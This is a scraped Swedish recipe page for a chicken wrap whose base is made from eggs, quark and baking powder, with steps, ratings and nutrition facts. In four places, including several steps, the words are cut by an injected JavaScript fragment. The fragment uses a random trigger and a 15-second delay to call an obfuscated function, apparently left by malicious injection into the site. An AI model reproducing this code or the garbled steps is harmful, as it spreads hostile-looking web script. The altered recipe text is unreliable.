Kycklingwrap

2013-06-08
bild kopiaImage
  • Yield : 1
  • Servings : 1
  • Prep Time : 15m
  • Cook Time : 15m
  • Ready In : 30m

Ingredienser

  • Salt, peppar, vitlökskrydda
  • 50 g kvarg
  • 1 blad savoy kål
  • 1/2 liten tomat
  • ½ liten paprika
  • 100 g kycklingfilé
  • Avokado

Wrap:

  • 3 ägg
  • 100 g kvarg
  • 1 tesked bakpulver

Genomförandandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}e

Steg 1

Salta och peppra kycklingfilén

Steg 2

Grilla kycklingfilén eller grädda i ugnen

Steg 3

Wrap -blandandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}a 3 äggvitor med en 1 tesked bakpulver och mixa med elvisp tills äggvitorna

skummar.  Man ska kunna vända skålen upp och ner utan att äggvitorna rör på sig.

Steg 4

Blandandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}a 3 äggulor med 100 g kvarg

Steg 5

Sammanför äggvitorna och äggulorna försiktigt.  Placerade sedan

smeten på en plåt med bakpapper. Grädda i ugnen i 15 min på 200 °c.

Steg 6

Strimla en halv avokado, ½ tomat, ½ paprika och kycklingfilén.

Steg 7

Blandandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}a 50 g kvarg med färsk pressad citron samt vitlökspulver.

Steg 8

Lägg först savoy kål sedan grönsakerna och kycklingen på wrape.

Rulla ihop och doppa i såsen!

Recipe Type:
Medlemsbetyg

(4.5 / 5)

4.5 5 2
Betygsätt recept

2 people rated this recipe

Related Recipes:
  • image

    Kycklingburgare med Guacamole

  • image

    Tortillapizza

Näringssinnehåll

Informationen gäller per portion

  • Kcal 417

  • Protein 50g

  • Kolhydrater 14g

  • Fett 18g

Recipe Comments

  1. posted by Albin on 05/07/2013

    Mycket gott. Starkt rekommenderad!

      Reply

Post A Comment

Current ye@r *